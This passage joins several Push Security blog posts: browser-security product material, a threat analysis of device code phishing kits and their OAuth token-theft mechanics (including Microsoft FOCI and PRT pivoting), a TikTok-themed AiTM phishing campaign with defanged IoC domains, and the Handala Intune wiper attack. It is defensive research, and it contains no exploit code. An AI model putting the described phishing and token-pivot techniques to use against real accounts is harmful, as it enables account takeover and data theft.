Every incident described above was enabled or worsened by the absence of MFA on the target system. MFA should be mandatory for all human user accounts, and organizations should audit for "ghost logins" — local username/password accounts that persist alongside SSO and bypass its MFA enforcement.

How Push can help

Push makes browser security easier than ever, particularly when dealing with complex environments running different browsers and operating systems. 

You can use Push to surface which users are logged into their browser using a non-work profile and whether the profile is synced across devices. Push captures this information for every browser that your employees are using, including Chrome, Edge, Firefox, Safari, Brave, Opera, Arc, Island, and Prisma (and we’re always adding support for new ones). 

Sync attacks can impact both saved credentials and browser extensions. This means that even if your employees aren’t saving credentials to their browser profile, you can still be at risk if they’ve installed any extensions in another browser where they’re signed in. 

To learn more about how you can use Push to lock down extension use and block malicious extensions from running across every browser, check out our guide here.

You can use Push to identify where credentials are being saved — for example, are employees using your company-approved password manager, or copying credentials from unsanctioned apps or locations? This includes where users are manually copying passwords from a password manager app rather than auto-populating (this increases the chance of them entering these passwords into phishing pages).

You can also see where those credentials have a vulnerability, such as a weak, breached, or reused password. In this scenario, we’re looking for credentials that have been leaked online, where an employee is signed into their work browser with a personal account, and profile sync is enabled. This could indicate that the user has been the victim of an infostealer compromise or malicious extension on their personal device.

As well as identifying password vulnerabilities, you can also use Push to harden accounts by detecting MFA gaps and enforcing MFA (even on apps where this isn’t natively possible). Check out our guide for more information.

Stop browser-based attacks with Push

Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.

To learn more about Push, check out our latest product overview, view our demo library, or book some time with one of our team for a live demo.

• Users are the weakest link in security. They just need to stop clicking on things.

• The internet is a giant clicking-on-things machine.

In particular, when we look at the TTPs of modern browser-based attacks that target employees, it’s obvious where this disconnect has real consequences.

Crowdstrike reports that valid account abuse accounted for 35% of incidents in 2025, while Verizon reports that identity is now the primary breach vector observed across all methods.

Here’s why: Security tooling hasn’t kept up with adversary advances, and normal human behaviors are being expressly targeted via the browser to achieve compromise of accounts and endpoints. If you list the pitfalls facing the common end-user encountering these kinds of attack methods, the picture becomes even more stark.

To solve these problems, you need security tooling that sits in line with the user where they’re already working: In the browser. In this Push product guide, we’ll cover how you can use Push to provide point-in-time guidance — everything from block pages to informational banners — to protect users from modern browser-based TTPs and to guide them to remediate common vulnerabilities that can lead to account takeover.

We’ve also recently introduced custom branding and styling options for user-facing block pages and banners so you can provide a cohesive and trustworthy experience across your security ecosystem.

Why you can’t train users to recognize modern browser-based attack methods

User awareness training can help you build your workforce’s basic security baseline. But it’s not a reliable remedy for modern browser-based TTPs. When you look at the creative methods attackers are using — and rapidly improving on — it’s obvious why.

It's harder than ever to identify malicious scenarios when browsing the web as part of your routine, daily activities — and the list of attacks to be aware of is growing every day. It was hard enough to train users not to click links in emails when that was pretty much the only thing they had to watch out for.

To avoid account or endpoint compromise while going about your daily work as a user, you would need to accomplish these extremely 100% achievable activities, including:

And we're barely scratching the surface here. Easy, right?

Can't we block users from interacting with bad content?

So if you can’t train your way out of these problems, what about locking down and blocking your way out of the problem?

This, too, simply isn’t really feasible.

Modern cloud-first adversaries routinely rotate domains on malicious pages; use trusted services like SharePoint, Adobe, Google Sites, Cloudflare, and Atlassian to deliver lures; target end-users across multiple channels, including social media, forums, chat platforms, Google search results, email, and webpages; and use legitimate security tools like bot protection to bypass detection by other legitimate security tools, such as web content scanning and analysis solutions.

To safely navigate the internet today, you need to be able to spot malicious pages and content the first time they're seen in the wild. If you're relying on indicators of known bad, you're always a step behind, leaving users exposed.

Learn more about the browser-based attack techniques driving the biggest breaches of the last year in our 2026 Browser Attack Techniques ebook.

To protect users while they work online, you need a purpose-built security tool that can respond in real time to modern TTPs and guide users securely — without introducing extra work or a lot of friction. Push can help with that.

Why in-browser controls?

Simply put, using in-browser security controls gets you the closest to the user and their work in order to protect them from modern browser-based threats. Adding in-browser controls also solves two tricky problems for security teams:

• Filling the gap between solution layers in order to detect and block attack methods like Adversary-in-the-Middle phishing, malicious browser extensions, and ClickFix-style social engineering attacks that other tools miss.

• Providing just-in-time security enforcement to end-users when it’s the right moment to act on that guidance, reducing your attack surface across your online apps, browser extensions, and accounts, and ensuring your app usage policies are followed.

Fill the gap between solution layers

Most existing security solutions operate just outside the context of a user interacting with a webpage. This leaves blind spots that attackers are exploiting between layers of security tooling.

For example, network proxies see HTTP requests, URLs, and page headers, but not the structural elements of the DOM or on-page user interactions that are key to fingerprinting the behavior of AiTM phishing kits or ClickFix-style social engineering attacks.

Similarly, EDR tools only see the bad thing when it hits the endpoint, and many cloud security tools rely on complex policy configurations across a core set of apps to provide security protection — leaving a gap in detection and response capabilities outside their purview.

The Push research team has written extensively about how cloud-first operators like Scattered Lapsus$ Hunters use a variety of methods to evade existing security controls, if you’d like to dig into the details.

Provide just-in-time security enforcement

As some of our customers like to say, Push provides security teams with a “seat on the user’s side” of the equation so you can enforce security best practices.

Having that seat on the user’s side also helps you deliver guidance in the right context for it to be followed: When the user is engaged in doing the behavior you want to influence (or prevent). The right information, at the right time, in the right format — not a belated reminder through a different channel that’s easy to ignore.

With those outcomes in mind, let’s look at some specific solutions from the Push platform.

How Push helps you protect users from browser-based ATO, ClickFix, and similar attacks

The Push platform provides out-of-the-box detections for browser-based attacks, including:

• AiTM phishing kits that can bypass MFA

• Cloned login pages designed to steal user credentials

• Malicious browser extensions

• Malicious copy and paste attacks like ClickFix, FileFix, and similar

For each of these attack vectors, Push delivers detection events and associated metadata for quick triage by the security team, as well as employee-facing warn or block screens, based on your selected configuration.

Here’s a snapshot of the capabilities of these controls and what end-users will experience.

The scenario:

When a user encounters a malicious page — whether that’s an AiTM phishing tool running on a webpage, or a ClickFix-style attack — or attempts to install a malicious extension, Push immediately steps in.

Push can prevent users from entering their credentials on phishing pages, including cloned login pages, or from pasting malicious clipboard contents that can run malware on their device. Push can also prevent users from installing known-bad browser extensions.

In each of these scenarios, Push admins get detailed detection information they can use to triage the incident.

How it works:

Rather than relying on known-bad intelligence like domains or URLs, Push performs a behavioral and structural analysis of malicious pages in real time.

That means a phishing page never has to appear in a threat intelligence feed in order to be detected and blocked.

Similarly, for malicious copy and paste attacks like ClickFix, Push analyzes the content copied to the clipboard but also evaluates the context of the page to reduce false positives. In blocking mode, Push’s control for ClickFix-style attacks replaces the malicious clipboard contents with safe text — preventing potential endpoint compromise before it can occur.

Finally, for identifying malicious browser extensions, Push takes a slightly different approach — combining both behavioral detections and curated intelligence of known-bad extensions from our own research and from trusted industry sources. We’ve found this combination provides the highest-fidelity way to identify malicious extensions without relying on approaches like analyzing extension permissions, which often isn’t actionable.

Your security team gets:

Readymade detection and alerting, combined with detailed telemetry. Detections and their associated metadata can be consumed via Push’s REST API and webhooks.

Your end-users see:

An immediate block screen in your company colors and brand style, providing a highly memorable, contextual moment of learning — and reassuring them that an incident has been prevented.

How Push helps you remediate account vulnerabilities at scale

Just-in-time security enforcement works best when it’s trustworthy and contextual — without making a lot more work for your team. Push also provides readymade controls for remediating common account vulnerabilities that contribute to your attack surface online, helping you harden existing accounts and reduce behaviors that introduce new risks.

With Push, you can:

• Prevent the phishing or reuse of high-value passwords, like your IdP, AWS, or code repository passwords.

• Remediate missing MFA or insecure passwords on any work app, even those not managed by your SSO solution.

• Use in-browser banners to add guardrails to app usage, including blocking unapproved SaaS or collecting a business reason to access an app before approving it.

• Block unwanted or unapproved browser extensions from being installed, or disable them if they’ve been installed previously.

Here’s a snapshot of the capabilities of these controls and what end-users will experience.

The scenario:

Push uses in-browser controls to intervene when a user is missing MFA; reusing a high-value password; using an insecure password; attempting to log in to an unapproved app; or attempting to install a blocked extension.

Push can block users from reusing passwords set as “protected” (meaning they can’t be reused on any other page or app) or from using unapproved apps or extensions. Push can guide users to update their password or register for MFA on accounts where they lack it. Push can also provide any other specific security or policy guidance to employees via banners that appear on apps in your environment, including GenAI apps.

For all of these scenarios, you can tune Push controls to your preferred mode (informing vs. blocking, for example) and select which employees, employee groups, and apps or accounts to focus on.

You can also customize the message that employees see, to match your organizational culture and policies.

How it works:

The Push browser agent observes real-time user behavior and securely analyzes users’ account vulnerabilities in order to identify risks and execute your preconfigured controls.

To identify MFA status, Push uses the app’s own API to query the logged-in user’s registered MFA methods. To analyze password security, Push creates a salted, truncated hash that is stored locally in the user’s browser and then used for comparison to find reused passwords, leaked passwords, and shared passwords.

Using the MFA enforcement and Strong password enforcement controls, you can then automatically display a banner to users with those account vulnerabilities, guiding them to fix the issue.

Using Push’s Password protection control, you can select apps where you want to essentially “pin” the high-value password to only that app and prevent its reuse (or phishing) on any other domain.

Using Push’s Browser extension blocking control, you can create a blocklist or allowlist of extensions and prevent users from installing or enabling blocked extensions.

Finally, using Push’s App banners feature, you can add custom messages in a range of modes — from informing to blocking — to apps in use across your business, or even specific URL patterns.

Your security team gets:

A flexible and highly configurable set of controls to solve account vulnerabilities at scale and to enforce your security controls around browser extensions and app usage.

Your end-users see:

Contextual, actionable guidance in the midst of their actual workflow, helping them fix the issue or guiding them to safety.

Implementation tips

Push allows you to set the scope and mode of each control, making it simple to roll out.

We recommend starting in Monitor mode for controls that intervene in end-user activities. That way, you can perform testing with sample malicious sites or scenarios like reused protected passwords, tune out any benign true positives, and develop the messaging you want to use on warn or block pages. (For controls without an explicit monitor mode, like Strong password enforcement, you can still monitor for related events on the Events page, such as account security findings, or by consuming webhooks into a downstream tool.)

When you’re ready, set the mode to Warn or Block and use the scope options to perform a phased rollout to your user population by adding additional user groups to the control until you have complete coverage of your population.

By consuming webhook events into your SIEM, you can integrate Push alerts into your existing security workflows, monitoring for new detections or tracking when account vulnerabilities are resolved.

Enhancing user trust with custom branding

We recently released the option to customize the look and feel of all employee-facing banners and block pages.

From the Settings page in the Push admin console, you can upload your logo, add accent colors, and choose from light or dark backgrounds.

Custom branding increases the trustworthiness of these in-the-moment security guardrails so that users recognize them immediately and act on their guidance.

The result: Better compliance and lower friction for you and your employees.

Learn more about Push

Push Security’s browser-based security platform stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking — modern attack techniques that are the leading cause of breaches today.

You don’t need to wait until it all goes wrong either. You can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.

Want to learn more about Push? Check out our latest product overview, visit our demo library, or book some time with one of our team for a live demo.

The OAuth 2.0 device authorization grant was designed to enable input-constrained devices to sign-in to apps by asking the user to complete the login on a separate device by entering a code. But today, it’s mainly used when accessing CLI tools, meaning that many users encounter the device code flow daily. 

Device code phishing attacks designed to exploit this authorization flow are not new — it was among the first techniques that we added to the SaaS attacks matrix back in 2023. But it’s taken until now for it to really enter mainstream adoption. 

The technique tricks a user into issuing access tokens for an attacker-controlled application (not a device, confusingly). Any app that supports device code logins can be a target. Popular examples include Microsoft, Google, Salesforce, GitHub, and AWS. That said, Microsoft is, as always, much more heavily targeted at scale now than any other app.

At the start of March, we’d observed a 15x increase in device code phishing pages detected by our research team this year, with multiple kits and campaigns being tracked — with the kit now identified as EvilTokens the most prominent. That figure has now risen to 37.5x. More on that later.

We’ve always been surprised that attackers haven’t commonly used device code phishing in their standard toolkit, preferring session-stealing AITM phishing and other social engineering attacks like ClickFix. But it’s pretty clear from the recent data that the shift to mainstream adoption has now happened. 

In this blog post, we’ll explore the history of device code phishing, what’s changed for it to enter mainstream adoption, how it works under the hood (with recent examples), and what security teams can do about it. 

A brief history of device code phishing

The technique was first documented in 2020, before Secureworks released the first tooling framework PhishInSuits a year later. A host of research followed, including SquarePhish v1 (using QR codes to trigger the 15 minute code expiration window), Dirk-Jan Mollema’s key research (chaining device code phishing via Microsoft apps into Primary Refresh Token (PRT) acquisition to gain full browser-level access) and Dennis Kniep’s DeviceCodePhishing tool which automates the entire flow with a headless browser. (Other recent noteworthy tools include SquarePhish2 and GitPhish, so shout out to those too). 

It wasn’t until August 2024 that in-the-wild exploitation was first identified, with Russia-linked campaigns then continuing into 2025 before entering mainstream criminal adoption. This trend has continued to gather momentum in 2026 with EvilTokens, the first reported criminal PhaaS kit for device code phishing, already powering massive campaigns after launching in February. 

PhaaS is key to the adoption of new phishing tools and techniques, providing broad access to criminal operators at scale while driving up execution standards. It has been central to the continued evolution of AITM and ClickFix, and is a strong indicator of what comes next for device code phishing.

Some of the noteworthy in-the-wild campaigns include:

• Storm-2372, tracked by Microsoft and Volexity, linked to multiple Russia-aligned clusters, combining spear-phishing and social engineering with device code phishing payloads against strategic intelligence targets.

• The massive Salesforce campaign operated by Scattered Lapsus$ Hunters (SLH) combined vishing with a device code phishing payload targeting Salesforce. The attacks morphed into a broader supply chain campaign using stolen credentials, ultimately resulting in 1000+ organizations being compromised and over 1.5 billion stolen records claimed. 

• A massive spike in activity in late 2025 and 2026. This includes multiple threat clusters tracked using device code phishing techniques, more criminal operations linked to SLH, and hundreds of organizations being targeted via PhaaS architecture, which looks to be the same campaign as the recently uncovered EvilTokens PhaaS reported by Huntress (featuring abuse of the Railway PaaS platform).

We're seeing a clear trend of existing PhaaS kits adding device code phishing functionality. Tycoon2FA, the category leader for criminal AITM phishing capabilities, has recently adopted device code phishing alongside its established AiTM functionality (we've provided some examples below), while the Venom kit that offers device code phishing capabilities that appear visually and functionally similar to EvilTokens has an AITM component that matches our detections for Sneaky2FA, indicating a possible overlap in tooling.

What we’re seeing in the wild

As mentioned, we’ve also seen a huge spike in device code phishing activity this year, with multiple kits, page designs, and lure types. We’ve now identified 14+ distinct kits in circulation in the wild, with EvilTokens being the most prevalent. It’s clear that attackers are both spinning up their own kits and creative derivatives of others — we’ve seen kits that are visually similar to EvilTokens (close enough to be clones or forks) but with very different backends, for example AWS, Digital Ocean, 2cloud, and more. 

Many of the names provided are internal codenames. The information per kit is by no means exhaustive and is likely to evolve over time. 

“ANTIBOT” (EvilTokens)

Huntress, Sekoia, and researcher Paul Newton have already done a great job of providing IOCs for the recent EvilTokens activity spike, including multiple backend Railway IPs in authentication events. 

Our codename for EvilTokens internally was derived from the overly descriptive page code describing its bot protection capabilities (a clear sign of vibe coding — thanks Claude!):

<!-- FIXED ANTI-BOT SYSTEM - WON'T REDIRECT REAL USERS -->

<!-- ENHANCED ANTI-BOT SYSTEM WITH SERVER-SIDE VALIDATION -->

Beyond the most widely observed implementation featuring a Cloudflare Workers frontend and Railway backend for authentication, we’ve also tracked additional versions of EvilTokens in circulation since January 2026 (many of which remain live along with the current “production” version of the kit). 

You can see an evolution of the kit in the videos and screenshots below, from early precursors seen in mid-January, the first mentions of ANTIBOT in the page code in late-January, the parallel development of a “Courts Access” fork that lacks the ANTIBOT references, and finally production EvilTokens in February. One of the key threads between the versions is the presence of a generateFallbackCode() JS function and use of a /generate-codes API call. 

Early implementations were quite different, for example using ScrapingBee to generate the displayed code, and varied hosting on vercel, fastly, edgeone, and others. 

After initially appearing on custom domains, the production version is now predominantly hosted on Cloudflare Workers, as per the broader tracking of the campaign. The descriptive HTML comments around ANTIBOT functions have also been removed in later versions. 

The production version of EvilTokens showcases common detection evasion techniques we've come to associate with PhaaS kits in the AiTM space — using multiple redirects through trusted sites before serving the malicious page, using bot protection to block security tools from analyzing the page, and so on. It also uses a pop-up window for the device code entry rather than a redirect, reducing the friction for the victim (it looks pretty convincing, too).

“SHAREFILE”

Kali365 (internal name “CLURE”)

Clure was recently linked to the Kali365 PhaaS platform based on an FBI advisory and additional research from Arctic Wolf. This is yet another example of Device Code Phishing and AiTM phishing capabilities being integrated into unified phishing platforms.

“LINKID”

Device Code Lab (formerly codename "AUTHOV”)

AUTHOV was recently attributed to Device Code Lab, a professional grade, device code phishing platform, with numerous defense evasion and post-exploitation features, designed to interoperate with other phishing platforms. You can read Paul Newton's write-up here.

“DOCUPOLL”

“FLOW_TOKEN”

“PAPRIKA”

“DCSTATUS”

“DOLCE”

Our suspicion is that this was a one-off — potentially for a red team exercise — rather than representative of a more widely used kit.

Venom

Tycoon2FA

"CYB3R"

Clearly, device code phishing has entered mainstream adoption and we should be prepared for a lot more of it in future. So how does it work, and why is it so effective?

Device code phishing under the hood

The attacker POSTs to the authorization server's device authorization endpoint with its client_id (i.e. an application ID) and requested scopes or resources. The server responds with a device_code (used for polling), a user_code, a verification_uri, an expires_in value, and a polling interval. The user visits the URL, enters the code and approves the request. Meanwhile, the device polls the token endpoint. Once approved, the server returns an access token, a refresh token (if offline_access was requested), and an ID token (if openid was included). The attacker now has API access to the victim's account. 

Broadly, this gives the attacker a comparable level of control to a “normal” phishing attack (with conditions based on the scopes granted and specific app being targeted) while API access grants additional capabilities beyond standard browser sessions. When combined with other techniques, this access can be exchanged to open normal browser app sessions and access SSO connected apps.

When targeting Microsoft environments, attackers can use the PRT escalation technique I mentioned in earlier research to get seamless SSO across all Entra ID-connected applications and web services. This requires that you specifically target the Microsoft Authentication Broker application, chained into a new device registration in the victim's environment. This is the method that Storm-2372 was leveraging in 2025.

But even without this step, many Microsoft first-party apps also belong to the Family of Client IDs (FOCI), meaning a refresh token obtained for one family member can be exchanged for access tokens to other family members without re-authentication. In practice, this means an attacker who phishes a token via e.g. the Microsoft Office client ID, can silently pivot to access Outlook, Teams, OneDrive, SharePoint, and Azure Management APIs — all from a single phished session.

At this point, you can achieve a number of objectives both inside the app ecosystem and across SSO connected apps — e.g. data theft, disruption, and ultimately extortion.

Critically, the initial request to generate a device code is typically unauthenticated across all providers — anyone can generate one, from any machine, without proving any relationship to the target organization.

So, the attacker has to deliver a set of instructions via a phishing channel (e.g. email, social media DM, corp IM platform, and so on) with a device code that they have generated. The victim then enters this code on the legitimate device code login page for that app and issues the tokens to the attacker.

One of the key limitations of early device code phishing was that the code was being sent directly over email (as in the Russia-linked campaigns in 2024-5). This meant that the code would expire unless used immediately, requiring highly engaged social engineering to pull off. To get around this, modern device code phishing pages are continuously polling for fresh codes via API. This arguably makes them more discoverable than simply providing the code and instructions in a direct message, but is way more scalable for the attacker.

Why device code phishing is so dangerous

Device code phishing bypasses authentication controls (including passkeys)

A device code phishing attack cannot be prevented with authentication controls. This includes all forms of MFA and even “phishing-resistant” authentication methods such as passkeys. 

The device code authorization is effectively performed post-authentication. If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that's needed. No password or MFA required. You can see an example in the video below.

Even if you do have to sign in again (because you're not already signed in for some reason), the attack still works because it isn't targeting the login — it's targeting the authorization layer instead.

This is what makes device code phishing different to other standard phishing methods like AiTM phishing (and arguably even more effective in environments with strict identity control enforcement). 

Device code logins are a feature, not a vulnerability, making attacks difficult to block

Device code authorization is a legitimate mechanism regularly used in enterprise environments, particularly for CLI logins. Tools like Azure CLI, GitHub CLI, and AWS CLI all use (or have used) the device code flow as a primary or fallback authentication method. This creates a dual problem for defenders.

First, the phishing attack happens entirely on a legitimate site — there's no fake login page, no malicious payload to scan for, and the URL in the browser is genuine. Since there's no traditional phishing content being delivered, these attacks are more resistant to detection by email and network security tools.

Second, the widespread legitimate use of device code flow — particularly among developers and technical users — normalizes the experience of entering device codes. A phishing lure asking them to do the same thing is indistinguishable from a legitimate IT request. And for non-technical users, this experience isn't much different to, for example, entering a code sent via email or authenticator app.

Multiple apps are vulnerable, with different risk profiles

Various apps implement the device code flow, each with different levels of control and default security, but the risk is not uniform across platforms.

• Google Workspace is a significantly lower-risk target because Google explicitly limits which scopes are available to the device code flow — Gmail, Calendar, and most Workspace APIs are simply unavailable through this mechanism.

• Microsoft offers the broadest attack surface due to unrestricted scopes, reusable first-party client IDs, and the FOCI/PRT escalation paths.

• Apps like GitHub sit in between — broad scopes are available (including full repository access), but the attacker must control their own OAuth app and the victim sees an explicit consent screen.

First-party applications are commonly abused in Microsoft-targeted attacks. These are real Microsoft applications registered in every Entra ID tenant. Not only are they allowed by default (unlike third-party apps that are often subject to additional restrictions and require additional tenant-level consent before they can be accessed by a user), they come with pre-consented permissions, and can even access undocumented “legacy” scopes that aren't logged by default (exploited in the Russia-linked ConsentFix campaign reported by Push researchers).

In other cases, such as when targeting GitHub or Salesforce, third-party applications are often leveraged. These aren't necessarily fresh, attacker-created apps — they can be attacker-controlled instances of otherwise legitimate applications. That said, it is easier than ever for attackers to spin up their own OAuth apps, particularly using AI tools. The trade-off is that the victim has to consent to the app from the tenant level before also granting access to their account, introducing more friction to the process, and potentially running into additional security controls and restrictions depending on tenant configuration.

Security recommendations

Security teams need to consider the risk posed by device code phishing across multiple apps where device code authorization grants are common, particularly for developers and technical users.

In an ideal world, you would simply block device code logins. But this can’t be done without causing serious disruption in some environments, while some apps simply don’t provide the tools required to do so. For example, device code is the default CLI sign-in method for GitHub. Developer-heavy organizations are likely to encounter higher levels of legitimate use.

Microsoft arguably offers the strongest control options (other than Google, who negate it right out of the gate), though they do require a fair amount of work. Microsoft now explicitly recommends blocking device code flow for tenants that haven't used it in the past 25 days. Their guidance is to create a custom CA policy: target relevant users, set the Authentication Flows condition to block Device Code Flow, and set the grant control to Block Access. Deploy in report-only mode first to identify any legitimate device code usage, then enforce with narrow exceptions.

However, it's important to recognize that blocking device code flow is not a complete solution. Related techniques like ConsentFix — which exploits the authorization code flow with localhost redirects rather than the device code flow — produce the same access tokens with the same capabilities but are not blocked by device code flow specific CA policies.

For other apps, you’re mainly limited to monitoring and response. Ensuring you’re getting authentication logs for these apps is vital, and searching for unusual access patterns (e.g. unusual login protocols, having different IPs for the authorization grant and subsequent account activity).

How Push Security can help

Push customers can use our browser-based capabilities to overcome the limitations of app-level controls and detect, intercept, and shut down attacks in real time. 

Our research team is already tracking multiple device code phishing campaigns and toolkits, including the EvilTokens kit. Blocking controls are already in place to prevent customers from interacting with malicious pages that match our detections for these new toolkits, ensuring that these pages can be identified and blocked in real time regardless of the infrastructure. 

Using Push you can also configure in-browser warnings whenever a user accesses a URL used for device code logins. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  

When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing device login pages if you’re confident that disruption won’t be caused. 

Learn more about Push

Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.

To learn more about Push, check out our latest product overview, view our demo library, or book some time with one of our team for a live demo.

On closer analysis, we identified a cluster of linked pages featuring both TikTok themes, and Google themed “Schedule a Call” imitation pages, similar to a campaign reported late last year, suggesting a continuity of this previous campaign.

We’ve reported extensively about malvertising scams in the past — particularly targeting Google Ad Manager accounts. Attackers take over Ad Manager accounts and use them to deploy even more malicious ads, harvesting account credentials via AITM phishing pages and ClickFix-style malware delivery (dropping infostealers and remote access tools). They also run ad fraud campaigns siphoning company ad budgets into their own pockets.

Campaign breakdown

Push researchers have identified a cluster of newly registered phishing pages all registered on the 24th March within a 9-second window. All of the pages are hosted behind Cloudflare with the same registrar (Nicenic International Group, commonly abused for bulk phishing domain registration). 

The pages feature a common naming convention, being various derivations of welcome.careers*[.]com. A full list of identified domains is provided later, but we expect this to grow significantly as the campaign ramps up. 

Victims are tricked into clicking a malicious link that takes them to one of two page styles. 

• A TikTok for Business cloned page 

• A Google careers “Schedule a call” cloned page

In both cases, the victim is required to complete a basic information form before being served with a malicious login page that is in fact fronting a reverse proxy AITM phishing kit. 

While Push has limited visibility of the initial delivery mechanism in this case, we can assume that a similar method of dynamically generated email is being used to the previously identified campaign reported by Sublime in October, featuring a similar Google Careers cloned page. 

You can see an example of the page load below.

Attack flow

When the link is first clicked, the page is silently redirected from a legitimate Google Storage site before loading the page. A Cloudflare Turnstile check is used to prevent security bots from analyzing the page, before loading either a TikTok or Google themed page. Progressing through the forms ultimately serves up an AITM phishing page.

Why TikTok???

Given that the majority of phishing pages intercepted by Push tend to replicate core SSO platforms like Google and Microsoft, targeting TikTok is a notable development, though not entirely uncommon. 

TikTok seems a weird choice at first glance. But it makes more sense when we consider that TikTok has been historically abused to distribute malicious links and social engineering instructions. 

This includes multiple infostealers like Vidar, StealC, and Aura Stealer delivered via ClickFix-style instructions with AI-generated videos posed as activation guides for Windows, Spotify, and CapCut. They instructed viewers to open PowerShell and paste commands that downloaded infostealers from bulletproof hosting infrastructure. One video alone hit ~500,000 views and 20,000+ likes.

It’s also a common hunting ground for crypto scammers, like many other social platforms have historically been abused (most commonly Twitter/X). Many of these are done with the full knowledge and consent of “influencers”, but there are also overtly malicious examples such as deepfaked videos of Elon Musk with overlaid AI-generated audio promoting fake exchanges. TikTok DMs, like other social media apps, are also a place where attackers can target victims. 

Ultimately, it’s easy to see how access to verified and trustworthy business accounts on TikTok could be abused in the wrong hands. 

It’s worth pointing out too that many/most business users will opt to “log in with Google.” This means that anyone using Google to login to their TikTok account will effectively have both accounts used to distribute ads compromised in one go, opening up the typical Google Ad Manager exploitation playbook — as well as accessing any further apps accessible via SSO for data theft and extortion. This has become the standard MO for attackers, in campaigns such as the Scattered Lapsus$ Hunters AITM phishing spree earlier this year, and their recent spate of device code phishing attacks.

IoCs

Short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to quickly spin up and rotate the sites used in the attack chain, often dynamically serving different URLs to site visitors. 

That said, the domains observed in the initial cluster were:

• welcome.careerscrews[.]com

• welcome.careerstaffer[.]com

• welcome.careersworkflow[.]com

• welcome.careerstransform[.]com

• welcome.careersupskill[.]com

• welcome.careerssuccess[.]com

• welcome.careersstaffgrid[.]com

• welcome.careersprogress[.]com

• welcome.careersgrower[.]com

• welcome.careersengage[.]com

• welcome.careerscrews[.]com

Since the pages are all hosted in a single Google Storage bucket, any linked pages/files should be considered to be malicious.

• storage.googleapis[.]com/fiz2a4s014vt8q4l5i0m1m7b0gl/

Push customers do not need to take any further action.

About Push Security

Regardless of the delivery channel, whether it's a phishing email, a malvertising lure, or a fake install page, all roads lead to a web page loaded in the user's browser, and that's where Push operates.

Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.

To learn more about Push, check out our latest product overview, view our demo library, or book some time with one of our team for a live demo.

Handala is a public-facing "faketivist" persona, also known as Handala Hack Team, Void Manticore, Storm-0842, Dune, Red Sandstorm, and Banished Kitten. The group also operates under regional personas like Karma and Homeland Justice. We'll refer to them as Handala in this piece.

In a break from the standard Handala playbook, there was no ransomware, no malware, and no exploit chain. The attacker simply logged into Microsoft Intune with compromised Global Administrator credentials, abused a legitimate feature, and wiped over 80,000 systems, servers, and mobile devices.

What a Handala attack was supposed to look like

Handala has a reputation for being a manual, hands-on intrusion team whose TTPs have typically included VPN credential brute-force for initial access (hundreds of logon attempts from commercial VPN nodes), supply chain compromise via managed service providers, RDP as the primary lateral movement method, ADRecon for Active Directory enumeration, LSASS credential dumping via comsvcs.dll, and GPO logon scripts for wiper distribution.

If you had invested in detection logic around Handala's documented toolkit (BiBi Wiper file extensions, Cl Wiper's EldoS RawDisk driver calls, No-Justice partition table manipulation, Karma Shell's Base64-with-XOR web shell patterns) none of it would have fired. Wiper malware signatures, web shell indicators, RawDisk driver loading, MBR/GPT manipulation, SharePoint exploitation patterns, anomalous RDP/SMB lateral movement: all reasonable detection priorities given the group's threat intelligence profile, but all irrelevant when it mattered most.

What Handala actually did

The Stryker attack departs from the documented baseline across the kill chain.

An organization with detections built around malware signatures, file system manipulation, and anomalous process execution would be unprepared for an attack with zero malware artifacts, where every action was a legitimate administrative command.

But while the methods were different, the core objective — mass destruction of data — is entirely consistent with previous campaigns, just through a legitimate management plane rather than custom malware.

The kill chain looks different now

The attack path was devastatingly simple. It didn't require lateral movement because there was nothing to move laterally through. It didn't require privilege escalation because they directly compromised a global administrator account. Every device managed by Intune was already within reach.

The traditional network-centric kill chain collapses into: compromise identity, access management plane, execute objective.

This is not specific to Iran-aligned actors. Russian groups are leveraging AITM phishing kits and abusing Microsoft 365 OAuth tokens via consent attacks. Scattered Spider built an operational model around social engineering and SSO account takeover. And now Handala has demonstrated that a nation-state destructive operation can be executed entirely by abusing legitimate enterprise tooling.

This kind of attack is more direct, faster to execute, and carries a significantly lower barrier to entry. You don't need custom malware and exploit development when you can log in using as-a-Service kits or partner with an access brokering specialist.

The big picture of Iranian cyber TTPs

Iran's offensive cyber capability is split between two rival intelligence bureaucracies. The Ministry of Intelligence and Security (MOIS) runs groups like APT34, MuddyWater, Scarred Manticore, and Void Manticore (Handala), which tend toward long-dwell espionage and coordinated destructive operations, often using a documented dual-actor handoff model where Scarred Manticore conducts stealthy espionage before handing targets to Void Manticore (Handala) for destruction.

The Islamic Revolutionary Guard Corps (IRGC) runs a wider set of groups, including APT33/Peach Sandstorm, APT35/Charming Kitten, APT42, Tortoiseshell/Imperial Kitten, Cotton Sandstorm, and CyberAv3ngers. IRGC groups cover espionage, destructive attacks, influence operations, election interference, ICS targeting across U.S. water and wastewater facilities), and individual surveillance.

IRGC groups have already shifted to identity-first TTPs

On the IRGC side, the shift toward identity-centric operations is well-documented:

• APT33/Peach Sandstorm shifted decisively toward credential-based initial access starting in early 2023, with Microsoft documenting large-scale password spray campaigns targeting thousands of organizations, Golden SAML attacks for persistent cloud access, and the use of fraudulent Azure subscriptions for C2 infrastructure.

